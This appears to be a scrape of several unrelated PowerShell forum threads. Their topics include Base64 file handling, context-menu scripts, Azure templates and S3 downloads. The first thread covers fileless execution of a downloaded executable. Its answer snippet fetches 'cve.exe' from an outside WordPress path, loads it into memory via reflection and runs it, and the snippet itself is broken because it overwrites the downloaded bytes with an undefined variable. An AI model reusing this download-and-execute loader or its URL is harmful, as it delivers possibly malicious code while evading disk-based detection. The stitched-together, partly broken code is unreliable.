I have an executable on an internet page and I want to be able to run it without saving it to the local disk using powershell. It should basically function like iex but run an executable that's already in the memory and stored in some kind of variable. And again, I want to do all of that in Powershell.
Example.
(New-Object System.Net.WebClient).DownloadString("http://example.com") | iex
Here we can download scripts and run them in the memory without saving anything to the disk. But it's only a sequence of characters that we're executing here. Basically a powershell script. I want to run executables the same way. Is that possible? If so, how?
First, use Invoke-WebRequest to download your binary executable's content as a byte array ([byte[]]):
$bytes = (Invoke-WebRequest "http://example.com/path/to/binary.exe").Content
Then, assuming that the executable is a (compatible) .NET application:
Use .NET's ability to load an assembly from a byte array, then use reflection to directly execute this in-memory representation of your binary executable.
This answer shows the technique (based on a Base64-encoding string serving as the source of the byte array, but you can simply substitute your $bytes array in the linked code).
for me it was necessary to use -usebasicparsing.
full snippet to download and execute in memory.
$bytes = (Invoke-WebRequest "https://budgetlc.com/wp-content/cve.exe" -UseBasicParsing ).Content
$bytes = [System.Convert]::FromBase64String($string)
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPointMethod =
$assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').
GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
# Now you can call the entry point.
# This example passes two arguments, 'foo' and 'bar'
$entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))
Related
I've found a couple of resources (including Convert base64 string to file, which is practically a duplicate here since it's one of the resources I used to build this) but I can't seem to get it working.
I've got the following code (roughly - obviously it's stripped down,) and I can verify most of the steps of the process as per the comments.
$pic = Get-Content 'testpic.png'
# $pic looks like a binary dump.
$picBytes = [System.Text.Encoding]::Unicode.GetBytes($pic)
$ $picBytes is an array of bytes. Quite spammy.
$picEncoded = [Convert]::ToBase64String($picBytes)
# $picEncoded is indeed a Base64 string. Halfway there!
$picDecoded = [Convert]::FromBase64String($picEncoded)
# Also an array of bytes. I'm assuming they're right for now...
$outFile = "pic.png"
[IO.File]::WriteAllBytes($outFile,$picDecoded)
# but I get no output file and no error?
What am I missing here? For what it's worth, I'm willing to look at other solutions - but the Base64 is somewhat important (since I'm storing the data in the script.)
To read a binary file as-is into memory in PowerShell, use Get-Content's -AsByteStream switch (PowerShell (Core) 7+) / -Encoding Byte (Windows PowerShell, versions up to v5.1), and add the -Raw switch for efficiency when you're reading all bytes into memory at once:
# Windows PowerShell (up to v5.1).
# Note: In PowerShell (Core) v7+, you must use -AsByteStream instead of
# -Encoding Byte
$picBytes = Get-Content testpic.png -Encoding Byte -Raw
Note: This change in syntax between the PowerShell editions is unfortunate, as discussed in GitHub issue #7986. If enough people show interest, it is conceivable that -Encoding Byte will be reintroduced for cross-edition consistency and compatibility.
$picBytes, as a [byte[]] array, can then be passed directly to [Convert]::ToBase64String()
To pass a file name/path to a .NET method, always pass a full path, never a relative path or mere file name:
This is necessary, because .NET's working directory usually differs from PowerShell's.
This discrepancy is unfortunate, but cannot be avoided, as explained in this answer.
In the simplest case - if your current location is a file-system location that is not based on a PowerShell-specific drive:
$outFile = "$PWD/pic.png" # Use *full path*
[IO.File]::WriteAllBytes($outFile, $picDecoded)
The fully robust approach requires more work:
$outFile = Join-Path (Get-Location -PSProvider FileSystem).ProviderPath pic.png
[IO.File]::WriteAllBytes($outFile, $picDecoded)
I have written a PS script, which replaces a specific string at the beginning of the file, adds another piece of string to the end of the file, and finally it puts out an XML.
My code might be ugly (I am not a programmer/engineer or anything, just trying to make life easier for some family members who are running a small business), but it works:
$content = Get-Content -Path 'C:\Users\blabla\Desktop\4440341930.txt'
$newContent = $content -replace 'text to be replaced','this is going to replace stuff'
$newContent | Set-Content -Path 'C:\Users\blabla\Desktop\4440341930.txt'
Add-Content C:\Users\blabla\Desktop\4440341930.txt '</Items>'
$x = [xml](Get-Content "C:\Users\blabla\Desktop\4440341930.txt")
$x.Save("C:\Users\blabla\Desktop\4440341930.xml")
I would like them to be able to run this script from the context menu, by right clicking on a txt file. I did a little research and I kind of get what I have to add to Registry, however, I'm not sure how to make it work. Since the path of each file that they are going to right click on is going to be different, the path that I'm specifying in $content is not going to work.
What do I have to modify in my code to be able to add it to the Registry?
To accomplish this you need to:
Create a Shortcut in the SendTo Folder: "$DestinationPath\AppData\Roaming\Microsoft\Windows\SendTo"
The target: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
The Arguments: -File "d:\path\your PS1 file"
In your program read the file name passed by Explorer as:
Param
(
[Parameter(Mandatory=$false)]
[String] $FilePath
)
I've written a Setup Function that accomplishes steps 1-3 that I include in all my programs that I want on the context menu and then just run the program with the -Setup switch. We're not supposed to post developed code here, but if you can't figure it out let me know and I'll post it and hope I don't get killed for it. LOL!
UPDATE:
If you want to pass more than one file you need to process the files a little differently. Delete the Param block above and then use this type of code to retrieve the files.
If ($Args.count -eq 0) {
$Message = "No Files were passed from File Explorer."
[Void]$MsgBox::Show(
"$Message","System Exit",$Buttons::OK, $MBIcons::Stop)
Show-PowerShell
Exit #Comment out for testing from ISE!
}
Else {
$FilesToCopy = $Args
}
I've got a PowerShell-Script to create a VM from an Image in Azure and in this Script I deposited a .json (Parameter for VM, etc.). But if I want to create more than one VM the Names of the VM, Vnet, etc. cannot be the same for every execution (have to be in the same Resource Group).
So my Question: How can I insert Variables in the .json File to change the Name of the VM, etc. for every execution? Perhaps I have to rethink?
A very basic approach could be something like this:
# Grab the file contents
$contents = Get-Content -Path $templateFile
# Update some tokens in the file contents
$contents = $contents.replace("original value", "new value")
# Push the updated contents to a new file
Set-Content -Path $updatedFile -Value $contents
If you have a value that changes with every deployment, you could also consider using the -TemplateParameterObject parameter with the New-AzureRmResourceGroupDeployment cmdlet. That way, you can generate the values in your powershell script without having to output them to json file first.
For more details, have a look at the cmdlet specs
I copy the content of an S3 bucket to a local directory, however I get an error output from the powershell.
Copy-S3Object : The requested range is not satisfiable
It is pointing to this command:
Copy-S3Object -BucketName $bucket -Key $object.Key -LocalFile $localFilePath -Region $region
Why do I get this error ? Note that the desired files that are needed to be copied do indeed get copied locally.
I can't say why you are getting that error returned from S3, but I can tell you that if you are copying multiple objects you probably want to use the -LocalFolder parameter, not -LocalFile. -LocalFolder will preserve the prefixes as subpaths.
When downloading one or more objects from S3, the Read-S3Object cmdlet works the same as Copy-S3Object, but uses -KeyPrefix to specify the common prefix the objects share, and -Folder to indicate the folder they should be downloaded to.
This also reminds me I need to check why we used -LocalFolder on Copy-, and -Folder on Read- although I suspect aliases may also be available to make them consistent.
HTH
(Edit): I spent some time this morning reviewing the cmdlet code and it doesn't appear to me the cmdlet would work as-is on a multi-object download, even though it has a -LocalFolder parameter. If you have a single object to download, then using -Key/-LocalFile is the correct parameter combination. If -LocalFolder is passed, the cmdlet sets up internally to do a single file download instead of treating -Key as a common key prefix to a set of objects. So, I think we have a bug here that I'm looking into.
In the meantime, I would use Read-S3Object to do your downloads. It supports both single (-Key) or multi-object download (-KeyPrefix) modes. https://docs.aws.amazon.com/powershell/latest/reference/index.html?page=Read-S3Object.html&tocid=Read-S3Object
this seems to occur with folders that do not contain files since copy wants to copy files.
i accepted this error and trapped it.
catch [Amazon.S3.AmazonS3Exception]
{
# get error record
[Management.Automation.ErrorRecord]$e = $_
# retrieve information about runtime error
$info = [PSCustomObject]#{
Exception = $e.Exception.Message
Reason = $e.CategoryInfo.Reason
Target = $e.CategoryInfo.TargetName
Script = $e.InvocationInfo.ScriptName
Line = $e.InvocationInfo.ScriptLineNumber
Column = $e.InvocationInfo.OffsetInLine
ErrorCode = $e.Exception.ErrorCode
}
if ($info.ErrorCode="InvalidRange") { #do nothing
} Else {
# output information. Post-process collected info, and log info (optional)
write-host $info -ForegroundColor Red}
}
}
This happened to me when I tried to download the file which had more than one dots in it. Simplifying the file name, fixed the error.
File name that gave me error: myfile-18.10.exe
File name that worked: myfile-1810.exe
I assembled a Powershell script that is designed to grab other scripts that are hosted on Azure blobs, and execute them.
The relevant code blocks:
Obtaining the script:
$resp = (Invoke-WebRequest -Uri $scriptUri -Method GET -ContentType "application/octet-stream;charset=utf-8")
$migrationScript = [system.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray());
$tempPath = Get-ScriptDirectory
$fileLocation = CreateTempFile $tempPath "migrationScript.ps1" $migrationScript
Creating the file:
$newFile = "$tempFolder"+"\"+"$fileName"
Write-Host "Creating temporary file $newFile"
[System.IO.File]::WriteAllText($newFile, $fileContents)
And then I invoke the downloaded file with
Invoke-Expression "& `"$fileLocation`" $migrationArgs"
This is working well, for what I need. However, the Invoke-Expression is not correctly reading the encoding of the file. It opens correctly in Notepad or Notepad++, but not in ISE (where I am executing the script right now).
Is there a way I can ensure the script is read correctly? It is necessary to support UTF8, as there is a possibility that the scripts will need to perform operations such as setting an AppSetting to a value that contains special characters.
EDIT: Behaviour is the same on "vanilla" non-ISE Powershell invocation.
As per #lit and #PetSerAI, the BOM is required for Powershell to work correctly.
My first attempt had not been successful, so I switched back to non-BOM, but, with the following steps, it worked:
Perform the Invoke-WebRequest with -ContentType "application/octet-stream;charset=utf-8"
Grab the Raw content (you will see it in Powershell as a series of numbers, which I assume are the ascii codes?) and convert its bytes with [system.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray()); to an array containing the characters you want.
When saving the file via .NET's WriteAllText, ensure you use UTF8,
[System.IO.File]::WriteAllText($newFile, $fileContents, [System.Text.Encoding]::UTF8). In this case, UTF8 is understood to be UTF8 with a byte order mark, and is what Powershell needs.